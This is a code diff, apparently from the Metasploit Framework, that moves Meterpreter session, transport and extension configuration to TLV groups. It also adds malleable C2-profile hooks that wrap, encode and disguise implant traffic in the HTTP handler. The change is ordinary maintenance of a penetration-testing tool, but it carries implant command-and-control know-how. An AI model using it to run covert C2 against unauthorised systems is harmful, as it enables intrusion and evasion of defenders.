url << "/#{opts[:uri].delete_prefix('/').delete_suffix('/')}/" if opts[:uri]
|
||||
url << "?#{opts[:scope_id]}" if opts[:scope_id]
|
||||
|
||||
# if the transport URI is for a HTTP payload we need to add a stack
|
||||
# of other stuff
|
||||
pack = 'A*VVV'
|
||||
transport_data = [
|
||||
to_str(url, URL_SIZE), # transport URL
|
||||
opts[:comm_timeout], # communications timeout
|
||||
opts[:retry_total], # retry total time
|
||||
opts[:retry_wait] # retry wait time
|
||||
]
|
||||
c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url)
|
||||
|
||||
# if the transport URI is for a HTTP payload we need to add a stack
|
||||
# of other stuff that can only be set in MSF, not in the C2 profile
|
||||
if url.start_with?('http')
|
||||
proxy_host = ''
|
||||
proxy_url = ''
|
||||
if opts[:proxy_host] && opts[:proxy_port]
|
||||
prefix = 'http://'
|
||||
prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks'
|
||||
proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
||||
proxy_url = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
||||
end
|
||||
proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
|
||||
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
|
||||
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
|
||||
ua = to_str(opts[:ua] || '', UA_SIZE)
|
||||
|
||||
cert_hash = "\x00" * CERT_HASH_SIZE
|
||||
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
|
||||
c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_URL, proxy_url) unless (proxy_url || '').empty?
|
||||
c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty?
|
||||
c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty?
|
||||
|
||||
custom_headers = opts[:custom_headers] || ''
|
||||
custom_headers = to_str(custom_headers, custom_headers.length + 1)
|
||||
|
||||
# add the HTTP specific stuff
|
||||
transport_data << proxy_host # Proxy host name
|
||||
transport_data << proxy_user # Proxy user name
|
||||
transport_data << proxy_pass # Proxy password
|
||||
transport_data << ua # HTTP user agent
|
||||
transport_data << cert_hash # SSL cert hash for verification
|
||||
transport_data << custom_headers # any custom headers that the client needs
|
||||
|
||||
# update the packing spec
|
||||
pack << 'A*A*A*A*A*A*'
|
||||
c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty?
|
||||
c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADER, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty?
|
||||
end
|
||||
|
||||
# return the packed transport information
|
||||
transport_data.pack(pack)
|
||||
tlv.tlvs << c2_tlv
|
||||
end
|
||||
|
||||
def extension_block(ext_name, file_extension, debug_build: false)
|
||||
def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false)
|
||||
ext_name = ext_name.strip.downcase
|
||||
ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
|
||||
file_extension, debug: debug_build))
|
||||
|
||||
[ ext.length, ext ].pack('VA*')
|
||||
end
|
||||
|
||||
def extension_init_block(name, value)
|
||||
ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(name)
|
||||
|
||||
# for now, we're going to blindly assume that the value is a path to a file
|
||||
# which contains the data that gets passed to the extension
|
||||
content = ::File.read(value, mode: 'rb') + "\x00\x00"
|
||||
data = [
|
||||
ext_id,
|
||||
content.length,
|
||||
content
|
||||
]
|
||||
|
||||
data.pack('VVA*')
|
||||
ext_tlv = MET::GroupTlv.new(MET::TLV_TYPE_EXTENSION)
|
||||
ext_tlv.add_tlv(MET::TLV_TYPE_DATA, ext)
|
||||
unless (ext_init_path || '').empty?
|
||||
ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(ext_name)
|
||||
init_data = ::File.read(ext_init_path, mode: 'rb')
|
||||
ext_tlv.add_tlv(MET::TLV_TYPE_STRING, init_data) unless (init_data || '').empty?
|
||||
ext_tlv.add_tlv(MET::TLV_META_TYPE_UINT, ext_id)
|
||||
end
|
||||
tlv.tlvs << ext_tlv
|
||||
end
|
||||
|
||||
def config_block
|
||||
# start with the session information
|
||||
config = session_block(@opts)
|
||||
config_packet = MET::Packet.create_config()
|
||||
add_session_tlv(config_packet, @opts)
|
||||
|
||||
# then load up the transport configurations
|
||||
(@opts[:transports] || []).each do |t|
|
||||
config << transport_block(t)
|
||||
add_c2_tlv(config_packet, t)
|
||||
end
|
||||
|
||||
# terminate the transports with NULL (wchar)
|
||||
config << "\x00\x00"
|
||||
|
||||
# configure the extensions - this will have to change when posix comes
|
||||
# into play.
|
||||
file_extension = 'x86.dll'
|
||||
file_extension = 'x64.dll' unless is_x86?
|
||||
|
||||
ext_inits = (@opts[:ext_init] || '').split(':').map{|v| v.split(',')}.to_h{|l| l}
|
||||
|
||||
(@opts[:extensions] || []).each do |e|
|
||||
config << extension_block(e, file_extension, debug_build: @opts[:debug_build])
|
||||
add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build])
|
||||
end
|
||||
|
||||
# terminate the extensions with a 0 size
|
||||
config << [0].pack('V')
|
||||
# comms handle needs to have space added, as this is where things are patched by the stager
|
||||
comms_handle = "\x00" * 8
|
||||
config_bytes = config_packet.to_r
|
||||
|
||||
# wire in the extension init data
|
||||
(@opts[:ext_init] || '').split(':').each do |cfg|
|
||||
name, value = cfg.split(',')
|
||||
config << extension_init_block(name, value)
|
||||
end
|
||||
|
||||
# terminate the ext init config with -1
|
||||
config << "\xFF\xFF\xFF\xFF"
|
||||
|
||||
# and we're done
|
||||
config
|
||||
comms_handle + config_bytes
|
||||
end
|
||||
end
|
||||
|
||||
@@ -33,16 +33,7 @@ module Rex
|
||||
|
||||
URI_CHECKSUM_UUID_MIN_LEN = URI_CHECKSUM_MIN_LEN + Msf::Payload::UUID::UriLength
|
||||
|
||||
# Map "random" URIs to static strings, allowing us to randomize
|
||||
# the URI sent in the first request.
|
||||
#
|
||||
# @param uri [String] The URI string from the HTTP request
|
||||
# @return [Hash] The attributes extracted from the URI
|
||||
def process_uri_resource(uri)
|
||||
|
||||
# Ignore non-base64url characters in the URL
|
||||
uri_bare = uri.gsub(/[^a-zA-Z0-9_\-]/, '')
|
||||
|
||||
def process_uuid_string(uri_bare)
|
||||
# Figure out the mode based on the checksum
|
||||
uri_csum = Rex::Text.checksum8(uri_bare)
|
||||
|
||||
@@ -58,6 +49,37 @@ module Rex
|
||||
{ uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode }
|
||||
end
|
||||
|
||||
# Map "random" URIs to static strings, allowing us to randomize
|
||||
# the URI sent in the first request.
|
||||
#
|
||||
# @param uri [String] The URI string from the HTTP request
|
||||
# @return [Hash] The attributes extracted from the URI
|
||||
def process_uri_resource(uri)
|
||||
# look for the UUID anywhere in the given URI, excluding the query string
|
||||
uri.split('?')[0].split('/').each {|u|
|
||||
# Ignore non-base64url characters in the URL
|
||||
uri_bare = u.gsub(/[^a-zA-Z0-9_\-]/, '')
|
||||
h = process_uuid_string(uri_bare)
|
||||
return h if h[:uuid]
|
||||
}
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Map "random" get params to static strings.
|
||||
#
|
||||
# @param [String] The query string from the HTTP request.
|
||||
# @return [Hash] The attributes extracted from the URI
|
||||
def process_query_string_resource(query_string)
|
||||
end
|
||||
|
||||
# Map "random" cookies to static strings.
|
||||
#
|
||||
# @param cookie [String] The Cookie header string from the HTTP request.
|
||||
# @return [Hash] The attributes extracted from the URI
|
||||
def process_cookie_resource(cookie)
|
||||
end
|
||||
|
||||
# Create a URI that matches the specified checksum and payload uuid
|
||||
#
|
||||
# @param sum [Integer] A checksum mode value to use for the generated url
|
||||
|
||||
@@ -115,6 +115,32 @@ class Client
|
||||
shutdown_tlv_logging
|
||||
end
|
||||
|
||||
#
|
||||
# Wrap the given packet data with any prefixes and suffixes that are stored in
|
||||
# the associated C2 profile server configuration (if it exists) and handle
|
||||
# encoding of data
|
||||
#
|
||||
def wrap_packet(raw_bytes)
|
||||
if self.c2_profile
|
||||
raw_bytes = self.c2_profile.wrap_outbound_get(raw_bytes)
|
||||
end
|
||||
|
||||
raw_bytes
|
||||
end
|
||||
|
||||
#
|
||||
# Unwrap the given packet data from any prefixes and suffixes that are stored in
|
||||
# the associated C2 profile client configuration (if it exists) and handle
|
||||
# decoding of data
|
||||
#
|
||||
def unwrap_packet(raw_bytes)
|
||||
if self.c2_profile
|
||||
raw_bytes = self.c2_profile.unwrap_inbound_post(raw_bytes)
|
||||
end
|
||||
|
||||
raw_bytes
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the meterpreter client instance
|
||||
#
|
||||
@@ -133,6 +159,8 @@ class Client
|
||||
self.url = opts[:url]
|
||||
self.ssl = opts[:ssl]
|
||||
|
||||
self.c2_profile = opts[:c2_profile]
|
||||
|
||||
self.pivot_session = opts[:pivot_session]
|
||||
if self.pivot_session
|
||||
self.expiration = self.pivot_session.expiration
|
||||
@@ -500,6 +528,10 @@ class Client
|
||||
#
|
||||
attr_accessor :last_checkin
|
||||
#
|
||||
# Reference to the c2 profile instance associated with this connection, if any.
|
||||
#
|
||||
attr_accessor :c2_profile
|
||||
#
|
||||
# Whether or not to use a debug build for loaded extensions
|
||||
#
|
||||
attr_accessor :debug_build
|
||||
|
||||
@@ -142,22 +142,26 @@ class ClientCore < Extension
|
||||
response = client.send_request(request)
|
||||
|
||||
result = {
|
||||
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
|
||||
:session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY),
|
||||
:transports => []
|
||||
}
|
||||
|
||||
response.each(TLV_TYPE_TRANS_GROUP) { |t|
|
||||
response.each(TLV_TYPE_C2) { |t|
|
||||
# TODO: Consider adding more information to the output for malleable profiles?
|
||||
# TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC,
|
||||
# TLV_TYPE_C2_SKIP_COUNT, TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER
|
||||
# Not sure if this stuff is useful for this display though.
|
||||
result[:transports] << {
|
||||
:url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
|
||||
:comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
||||
:retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
||||
:retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
|
||||
:ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
|
||||
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
|
||||
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
|
||||
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
|
||||
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH),
|
||||
:custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS)
|
||||
:url => t.get_tlv_value(TLV_TYPE_C2_URL),
|
||||
:comm_timeout => t.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT),
|
||||
:retry_total => t.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL),
|
||||
:retry_wait => t.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT),
|
||||
:ua => t.get_tlv_value(TLV_TYPE_C2_UA),
|
||||
:proxy_host => t.get_tlv_value(TLV_TYPE_C2_PROXY_URL),
|
||||
:proxy_user => t.get_tlv_value(TLV_TYPE_C2_PROXY_USER),
|
||||
:proxy_pass => t.get_tlv_value(TLV_TYPE_C2_PROXY_PASS),
|
||||
:cert_hash => t.get_tlv_value(TLV_TYPE_C2_CERT_HASH),
|
||||
:custom_headers => t.get_tlv_value(TLV_TYPE_C2_HEADERS)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -171,25 +175,25 @@ class ClientCore < Extension
|
||||
request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS)
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp])
|
||||
end
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
if opts[:retry_total]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
||||
request.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total])
|
||||
end
|
||||
if opts[:retry_wait]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
||||
request.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait])
|
||||
end
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
{
|
||||
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
|
||||
:comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
||||
:retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
||||
:retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
|
||||
:session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY),
|
||||
:comm_timeout => response.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT),
|
||||
:retry_total => response.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL),
|
||||
:retry_wait => response.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT)
|
||||
}
|
||||
end
|
||||
|
||||
@@ -523,7 +527,7 @@ class ClientCore < Extension
|
||||
|
||||
# we're reusing the comms timeout setting here instead of
|
||||
# creating a whole new TLV value
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
|
||||
request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, seconds)
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
@@ -556,7 +560,7 @@ class ClientCore < Extension
|
||||
request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)
|
||||
|
||||
hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
|
||||
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
||||
request.add_tlv(TLV_TYPE_C2_CERT_HASH, hash)
|
||||
|
||||
client.send_request(request)
|
||||
|
||||
@@ -590,7 +594,7 @@ class ClientCore < Extension
|
||||
request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH)
|
||||
response = client.send_request(request)
|
||||
|
||||
return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
|
||||
return response.get_tlv_value(TLV_TYPE_C2_CERT_HASH)
|
||||
end
|
||||
|
||||
#
|
||||
@@ -858,7 +862,7 @@ private
|
||||
# Helper function to prepare a transport request that will be sent to the
|
||||
# attached session.
|
||||
#
|
||||
def transport_prepare_request(method, opts={})
|
||||
def transport_prepare_request(command_id, opts={})
|
||||
unless valid_transport?(opts[:transport]) && opts[:lport]
|
||||
return nil
|
||||
end
|
||||
@@ -872,7 +876,11 @@ private
|
||||
|
||||
transport = opts[:transport].downcase
|
||||
|
||||
request = Packet.create_request(method)
|
||||
request = Packet.create_request(command_id)
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp])
|
||||
end
|
||||
|
||||
scheme = transport.split('_')[1]
|
||||
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||
@@ -887,20 +895,18 @@ private
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
c2_tlv = GroupTlv.new(TLV_TYPE_C2)
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
if opts[:comm_timeout]
|
||||
c2_tlv.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
|
||||
if opts[:retry_total]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
||||
c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total])
|
||||
end
|
||||
|
||||
if opts[:retry_wait]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
||||
c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait])
|
||||
end
|
||||
|
||||
# do more magic work for http(s) payloads
|
||||
@@ -915,31 +921,32 @@ private
|
||||
end
|
||||
|
||||
opts[:ua] ||= Rex::UserAgent.random
|
||||
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
||||
c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua])
|
||||
|
||||
if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl
|
||||
hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])
|
||||
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
||||
c2_tlv.add_tlv(TLV_TYPE_C2_CERT_HASH, hash)
|
||||
end
|
||||
|
||||
if opts[:proxy_host] && opts[:proxy_port]
|
||||
prefix = 'http://'
|
||||
prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks'
|
||||
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)
|
||||
proxy = "#{prefix}#{Rex::Socket.to_authority(opts[:proxy_host], opts[:proxy_port])}"
|
||||
c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_URL, proxy)
|
||||
|
||||
if opts[:proxy_user]
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
|
||||
c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user])
|
||||
end
|
||||
if opts[:proxy_pass]
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
|
||||
c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
request.add_tlv(TLV_TYPE_TRANS_TYPE, VALID_TRANSPORTS[transport])
|
||||
request.add_tlv(TLV_TYPE_TRANS_URL, url)
|
||||
c2_tlv.add_tlv(TLV_TYPE_C2_URL, url)
|
||||
|
||||
request.tlvs << c2_tlv
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
@@ -28,7 +28,7 @@ COMMAND_ID_CORE_MACHINE_ID = EXTENSION_ID_CORE + 13
|
||||
COMMAND_ID_CORE_MIGRATE = EXTENSION_ID_CORE + 14
|
||||
COMMAND_ID_CORE_NATIVE_ARCH = EXTENSION_ID_CORE + 15
|
||||
COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION = EXTENSION_ID_CORE + 16
|
||||
COMMAND_ID_CORE_PATCH_URL = EXTENSION_ID_CORE + 17
|
||||
COMMAND_ID_CORE_PATCH_UUID = EXTENSION_ID_CORE + 17
|
||||
COMMAND_ID_CORE_PIVOT_ADD = EXTENSION_ID_CORE + 18
|
||||
COMMAND_ID_CORE_PIVOT_REMOVE = EXTENSION_ID_CORE + 19
|
||||
COMMAND_ID_CORE_PIVOT_SESSION_DIED = EXTENSION_ID_CORE + 20
|
||||
|
||||
@@ -11,6 +11,7 @@ module Meterpreter
|
||||
#
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
PACKET_TYPE_CONFIG = 2
|
||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||
PACKET_TYPE_PLAIN_RESPONSE = 11
|
||||
|
||||
@@ -91,20 +92,6 @@ TLV_TYPE_MIGRATE_STUB = TLV_META_TYPE_RAW | 411
|
||||
TLV_TYPE_LIB_LOADER_NAME = TLV_META_TYPE_STRING | 412
|
||||
TLV_TYPE_LIB_LOADER_ORDINAL = TLV_META_TYPE_UINT | 413
|
||||
|
||||
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
|
||||
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
|
||||
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
|
||||
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
|
||||
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
|
||||
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
|
||||
TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436
|
||||
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
|
||||
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
|
||||
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
|
||||
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
|
||||
TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441
|
||||
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442
|
||||
|
||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
|
||||
TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462
|
||||
@@ -121,6 +108,44 @@ TLV_TYPE_PIVOT_ID = TLV_META_TYPE_RAW | 650
|
||||
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651
|
||||
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653
|
||||
|
||||
#
|
||||
# Configuration & C2 options
|
||||
#
|
||||
TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time
|
||||
TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use
|
||||
TLV_TYPE_DEBUG_LOG = TLV_META_TYPE_STRING | 702 # path to write debug log
|
||||
TLV_TYPE_EXTENSION = TLV_META_TYPE_GROUP | 703 # Group containing extension info
|
||||
TLV_TYPE_C2 = TLV_META_TYPE_GROUP | 704 # a C2/transport grouping
|
||||
TLV_TYPE_C2_COMM_TIMEOUT = TLV_META_TYPE_UINT | 705 # the timeout for this C2 group
|
||||
TLV_TYPE_C2_RETRY_TOTAL = TLV_META_TYPE_UINT | 706 # number of times to retry this C2
|
||||
TLV_TYPE_C2_RETRY_WAIT = TLV_META_TYPE_UINT | 707 # how long to wait between reconnect attempts
|
||||
TLV_TYPE_C2_URL = TLV_META_TYPE_STRING | 708 # base URL of this C2 (scheme://host:port/uri)
|
||||
TLV_TYPE_C2_URI = TLV_META_TYPE_STRING | 709 # URI to append to base URL (for HTTP(s)), if any
|
||||
TLV_TYPE_C2_PROXY_URL = TLV_META_TYPE_STRING | 710 # Proxy URL
|
||||
TLV_TYPE_C2_PROXY_USER = TLV_META_TYPE_STRING | 711 # Proxy user name
|
||||
TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password
|
||||
TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests
|
||||
TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests
|
||||
TLV_TYPE_C2_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers
|
||||
TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent
|
||||
TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash
|
||||
TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload
|
||||
TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload
|
||||
TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url)
|
||||
TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes)
|
||||
TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes)
|
||||
TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in
|
||||
TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in
|
||||
TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in
|
||||
TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s
|
||||
|
||||
#
|
||||
# C2 Encoding flags
|
||||
#
|
||||
C2_ENCODING_NONE = 0 # No encoding at all
|
||||
C2_ENCODING_B64 = 1 # Base64 encoding
|
||||
C2_ENCODING_B64URL = 2 # Base64 encoding with URI-safe characters
|
||||
C2_ENCODING_URL = 3 # URL encoding
|
||||
|
||||
#
|
||||
# Core flags
|
||||
@@ -816,6 +841,10 @@ class Packet < GroupTlv
|
||||
#
|
||||
##
|
||||
|
||||
def Packet.create_config()
|
||||
Packet.new(PACKET_TYPE_CONFIG)
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a request with the supplied method.
|
||||
#
|
||||
@@ -949,7 +978,7 @@ class Packet < GroupTlv
|
||||
raw = (session_guid || NULL_GUID).dup
|
||||
tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
|
||||
|
||||
if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256)
|
||||
if @type != PACKET_TYPE_CONFIG && key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256)
|
||||
# encrypt the data, but not include the length and type
|
||||
iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1])
|
||||
# now manually add the length/type/iv/ciphertext
|
||||
|
||||
@@ -710,16 +710,18 @@ protected
|
||||
end
|
||||
|
||||
module HttpPacketDispatcher
|
||||
def connection_uuid
|
||||
self.conn_id.to_s.split('?')[0].split('/').compact.last.gsub(/(^\/|\/$)/, '')
|
||||
end
|
||||
|
||||
def initialize_passive_dispatcher
|
||||
super
|
||||
|
||||
# Ensure that there is only one leading and trailing slash on the URI
|
||||
resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/"
|
||||
self.passive_service = self.passive_dispatcher
|
||||
self.passive_service.remove_resource(resource_uri)
|
||||
self.passive_service.add_resource(resource_uri,
|
||||
self.passive_service.remove_resource(self.connection_uuid)
|
||||
self.passive_service.add_resource(self.connection_uuid,
|
||||
'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) },
|
||||
'VirtualDirectory' => true
|
||||
'VirtualDirectory' => true,
|
||||
)
|
||||
|
||||
# Add a reference count to the handler
|
||||
@@ -728,9 +730,7 @@ module HttpPacketDispatcher
|
||||
|
||||
def shutdown_passive_dispatcher
|
||||
if self.passive_service
|
||||
# Ensure that there is only one leading and trailing slash on the URI
|
||||
resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/"
|
||||
self.passive_service.remove_resource(resource_uri) if self.passive_service
|
||||
self.passive_service.remove_resource(self.connection_uuid) if self.passive_service
|
||||
|
||||
self.passive_service.deref
|
||||
self.passive_service = nil
|
||||
@@ -749,8 +749,9 @@ module HttpPacketDispatcher
|
||||
self.last_checkin = ::Time.now
|
||||
|
||||
if req.method == 'GET'
|
||||
rpkt = send_queue.shift
|
||||
resp.body = rpkt || ''
|
||||
rpkt = send_queue.shift || ''
|
||||
rpkt = self.wrap_packet(rpkt) if self.respond_to?(:wrap_packet)
|
||||
resp.body = rpkt
|
||||
begin
|
||||
cli.send_response(resp)
|
||||
rescue ::Exception => e
|
||||
@@ -759,9 +760,11 @@ module HttpPacketDispatcher
|
||||
end
|
||||
else
|
||||
resp.body = ""
|
||||
if req.body and req.body.length > 0
|
||||
body = req.body
|
||||
if body && body.length > 0
|
||||
body = self.unwrap_packet(body) if self.respond_to?(:unwrap_packet)
|
||||
packet = Packet.new(0)
|
||||
packet.add_raw(req.body)
|
||||
packet.add_raw(body)
|
||||
packet.parse_header!
|
||||
packet = decrypt_inbound_packet(packet)
|
||||
dispatch_inbound_packet(packet)
|
||||
|
||||
@@ -67,6 +67,23 @@ class Packet
|
||||
self.headers[key] = value
|
||||
end
|
||||
|
||||
#
|
||||
# The `body` attribute was overridden by subclasses, causing quirky behaviour issues,
|
||||
# such as when a POST request contained query string parameters resulting in the query
|
||||
# string being prepended to the data that was contained in the body. To avoid this
|
||||
